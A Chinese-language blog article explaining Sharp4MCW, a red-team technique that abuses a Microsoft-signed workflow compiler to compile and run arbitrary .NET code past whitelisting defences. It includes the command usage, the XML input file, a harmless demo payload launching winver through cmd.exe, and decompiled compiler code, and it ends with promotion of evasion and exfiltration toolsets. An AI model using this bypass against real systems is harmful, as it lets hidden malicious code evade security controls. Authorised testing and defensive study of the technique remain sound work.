当前位置: 首页 > article >正文

.NET 一款具备签名用于绕过防护的工具

01阅读须知

此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他方面

02基本介绍

Sharp4MCW 是红队活动中常用的一款强大工具,具备微软签名的白名单特性,能够有效绕过许多安全防护机制。攻击者可以利用此工具加载Shellcode或启动其他二进制文件,从而达到隐蔽执行恶意代码的目的。

图片

03使用方法

运行 Sharp4MCW.exe 时,可以通过以下命令行格式进行操作,通常需要两个参数,具体命令如下所示。

Sharp4MCW.exe Sharp4MCW.txt Sharp4MCW.foo

其中,Sharp4MCW.txt 是关联的 .NET 代码文件,而 Sharp4MCW.foo 是需要被编译的文件,这里的扩展名可以是任意名称。执行命令后成功启动本地winver.exe进程。如下图所示。

图片

04原理解析

在 Sharp4MCW.txt 中,代码文件 Sharp4MCW.foo 通过以下 XML 结构进行关联:

<files xmlns:d2p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays">
    <d2p1:string>Sharp4MCW.foo</d2p1:string>
</files>

在 Sharp4MCW.foo 文件中,可以嵌入 .NET 代码。例如下面的代码用于启动本地的 winver 进程

public class Sharp4MCW : SequentialWorkflowActivity {
    System.Diagnostics.Process.Start("cmd.exe", "/c winver");
}

Sharp4MCW 的工作原理主要依赖于 WorkflowCompiler 类来编译和执行代码。在这个过程中,WorkflowCompiler 类的 Compile 方法会接收编译参数和代码文件,并在独立的应用程序域中进行编译。编译完成后,代码会被加载并执行。

private static void Main(string[] args)
{
    if (args == null || args.Length != 2)
    {
        throw new ArgumentException(WrapperSR.GetString("InvalidArgumentsToMain"), "args");
    }
    CompilerInput compilerInput = Program.ReadCompilerInput(args[0]);
    WorkflowCompilerResults results = new WorkflowCompiler().Compile(
        MultiTargetingInfo.MultiTargetingUtilities.RenormalizeReferencedAssemblies(compilerInput.Parameters), 
        compilerInput.Files);
    Program.WriteCompilerOutput(args[1], results);
}

接着,这段代码通过创建一个新的应用程序域,安全地编译和执行代码文件,实现了隔离和隐蔽的攻击载荷执行。如下所示。

public sealed class WorkflowCompiler
{
    public WorkflowCompilerResults Compile(WorkflowCompilerParameters parameters, params string[] files)
    {
        if (parameters == null)
        {
            throw new ArgumentNullException("parameters");
        }
        if (files == null)
        {
            throw new ArgumentNullException("files");
        }

        AppDomainSetup setupInformation = AppDomain.CurrentDomain.SetupInformation;
        setupInformation.LoaderOptimization = LoaderOptimization.MultiDomainHost;
        AppDomain appDomain = AppDomain.CreateDomain("CompilerDomain", null, setupInformation);

        WorkflowCompilerInternal workflowCompilerInternal = (WorkflowCompilerInternal)
            appDomain.CreateInstanceAndUnwrap(Assembly.GetExecutingAssembly().FullName, typeof(WorkflowCompilerInternal).FullName);

        WorkflowCompilerResults workflowCompilerResults = workflowCompilerInternal.Compile(parameters, files);

        if (!workflowCompilerResults.Errors.HasErrors)
        {
            workflowCompilerResults.CompiledAssembly = Assembly.Load(File.ReadAllBytes(workflowCompilerResults.PathToAssembly));
            workflowCompilerResults.PathToAssembly = null;
        }

        return workflowCompilerResults;
    }
}

综上,Sharp4MCW 是红队工具集中非常实用的一款工具,利用微软签名的特性,可以在红队活动中有效绕过安全防护,攻击者可以在不同场景下使用不同的攻击载荷,使其具有很高的适应性和隐蔽性。

05.NET安全星球

从.NET Framework到.NET Core,从Web应用到PC端软件应用,并且每日分享.NET安全技术干货以及交流解答各类技术等问题。

图片

图片

图片

20+个专题栏目涵盖了点、线、面、体等知识面,助力师傅们快速成长!其中主题包括.NET Tricks、漏洞分析、内存马、代码审计、预编译、反序列化、webshell免杀、命令执行、C#工具库等等。

图片

图片

为了助力大家在2024国家级hvv演练中脱颖而出,我们特别整理出了一套涵盖dotNet安全矩阵星球的八大.NET相关方向工具集。

.NET 免杀WebShell
.NET 反序列化漏洞
.NET 安全防御绕过
.NET 内网信息收集
.NET 本地权限提升
.NET 内网横向移动
.NET 目标权限维持
.NET 数据外发传输

图片


http://www.kler.cn/a/288218.html

相关文章:

  • 企业如何提高招聘能力?
  • 3588 yolov8 onnx 量化转 rknn 并运行
  • uni-app表格带分页,后端处理过每页显示多少条
  • A3超级计算机虚拟机,为大型语言模型LLM和AIGC提供强大算力支持
  • LeetCode面试经典150题C++实现,更新中
  • 策略模式、状态机详细解读
  • Git之2.35版本重要特性及用法实例(六十三)
  • 【前端面试】挖掘做过的nextJS项目4——全栈性案例
  • CNN在处理文本和图像时有什么共同点和不同点
  • Clobotics 计算机视觉场景存储实践:多云架构、 POSIX 全兼容、低运维的统一存储
  • 【Java】继承性【主线学习笔记】
  • React 入门第九天:与后端API的集成与数据管理
  • MySQL 使用C语言链接
  • 力扣238题详解:除自身以外数组的乘积的多种解法与模拟面试问答
  • 【Qt】对话框
  • K8s系列之:解释Kubernetes Operators
  • 71. 简化路径算法实现详解(goalng版)
  • 快速了解Rust 的数据分析库Polars
  • 常见概念 -- WSS光层环回
  • Django Admin优化查询
  • 金融知识普及月答题活动
  • 【Linux】进程状态和进程优先级
  • 【实战教程】用 Next.js 和 shadcn-ui 打造现代博客平台
  • AR 眼镜之-系统通知定制(通知弹窗)-实现方案
  • Leetcode3249. 统计好节点的数目
  • 驾驭Python与MySQL的桥梁:pymysql的神秘面纱